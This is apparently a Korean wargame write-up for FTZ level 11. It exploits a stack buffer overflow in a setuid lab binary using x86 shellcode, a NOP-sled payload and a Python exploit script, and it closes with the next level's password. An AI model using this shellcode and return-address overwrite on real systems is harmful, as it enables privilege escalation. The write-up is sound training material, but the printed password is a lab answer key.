[FTZ]level11
시작이 반이고..?
level1~level10까지 절반했으면?
끝나야 하는건데..
level11..
시작해 볼까요?ㅎㅎ
level11..
소스를 보면
256byte 배열을 선언한 후
setreuid()를 이용해 다음레벨의 권한으로 설정합니다.
이후
strcpy()함수가
main함수에서 인자를 입력받아서 배열에 저장할 때
복사할 문자열의 길이를 검증하지 않는 점에서
bof 취약점이 발생할 것으로 보입니다.
엇?
뒤에 보니 printf()도 포맷스트링과 인자를 사용하지 않고
직접 변수를 넣었네요?
이 경우에
Format String Bug 취약점이 발생합니다.
Buffer Overflow
str이 스택 내에 있기 때문에
아마도 스택오버플로우가 되겠네요.
우선 main+3 주소를 보면
배열의 크기는 0x100이지만
공간은 0x108만큼 할당을 했습니다.
아마 8byte는 더미겠죠?
실행을 시켜보면
SetUID가 걸려있어서 정상적으로 작동이 되지 않으므로
/tmp 디렉터리에 복사해 줍니다.
cp에 -a는 권한까지 전부복사한다는 말입니다.
r $(python -c 'print "A"*264+"BBBB"') 로
실행을 시켜줍니다.
이 정보를 가지고 그림을 그려볼까요?
main+53주소까지 strcpy에 대한 설명이니
main+56에 breakpoint를 걸고
continue 합니다.
이 때 스택포인터는 str배열의 시작주소를
가리키고 있으므로
확인해봅시다.
[그림5]에서 열심히 그린 그림을 보면
0xbfffe578은 SFP의 주소이고,
0xbfffe57c는 RET의 주소네요?
그렇다면
안전하게 NOP Sled 기법을 이용해서
shellcode를 삽입하고
str의 시작주소를 가리키면?
shell을 얻을 수 있을 것으로 보입니다.
NOP Sled란?
NOP를 넣어주면 프로그램이 아무일도 하지않고 다음명령어로 넘어갑니다.
만약 계속 NOP명령어를 넣는다면 계속 아무 것도 하지 않겠죠?
그러다가 shellcode를 만나면 shellcode를 실행합니다.
먼저 페이로드로 넣을 shellcode를 만들어 볼까요?
vi /tmp/shellcode.s 로 제작했습니다.
shellcode를 바이너리로 제작하고
objdump를 이용해 디스어셈블 합니다.
빨간 네모에 있는 부분을 긁습니다.
나중에 시간이 된다면 shellcode 추출기를
만드는 것도 좋을 듯 싶네요.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
objdump로 얻은 shellcode를 c언어에서 실행해 줍니다.
요약하면
파라미터와 반환값이 존재하지 않는 함수포인터타입의
shellcode함수에 아규먼트를 넣지 않고 실행합니다.
이제 정상적인 shellcode를 넣어볼까요?
그 전에
생각을 해봅시다.
str[256] + dummy[8] + SFP[4] + RET[4]
이렇게 되겠네요.
그래서
nop[100] + shellcode[25] + nop[131] + nop[8] + nop[4] + str의 주소[4]
이렇게 exploit을 작성해보려고 합니다.
공격코드
./attackme $(python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*143+'\x70\xe5\xff\xbf'")
그러나 한 번에 성공하지 못하고 여러번 시도 끝에 성공한 이유는..
ASLR(Address space layout randomization)라는
주소공간의 레이아웃을 랜덤하게 변경하는 메모리보호기법이 걸려있어서..
주소가 맞아 떨어질 때 shell이 떳죠..
공격코드는 스크립트로 짜야 제 맛이죠?
import os
import struct
p32 = lambda x:struct.pack('<L', x)
# struct.pack의 '<'는 리틀엔디안을 말하고, 'L'은 unsigned long을 의미합니다.
# x는 정렬할 int형 정수를 넣어주면 됩니다.
target = '/home/level11/attackme'
# 공격대상
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\
x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80'
ret_addr = 0xbfffe570
# 변경할 return address
payload = '\x90'*100
payload += shellcode
payload += '\x90'*143
payload += p32(ret_addr)
pid = os.fork()
# os.fork()는 부모프로세스와 동일한 자식프로세스를 새로운 메모리공간에 복제합니다.
# 각각 독립적이고 기능도 각각 수행(병렬처리)합니다.
# 자식프로세스일 경우 0을 반환하고
# 부모프로세스일 경우 0이상의 값을 반환합니다.
if pid == 0:
os.execv(target, (target, payload))
# target을 실행 (argv[0], argv[1], ...)
else:
os.waitpid(pid, 0)
# 특정 자식프로세스가 종료될 때까지 대기합니다.
Level12 Password is "it is like this".
'Wargame > FTZ' 카테고리의 다른 글
[FTZ]level13 (0) | 2019.09.07 |
---|---|
[FTZ]level12 (0) | 2019.09.07 |
[FTZ]level10 (0) | 2019.09.05 |
[FTZ]level9 (0) | 2019.09.05 |
[FTZ]level8 (0) | 2019.09.05 |
댓글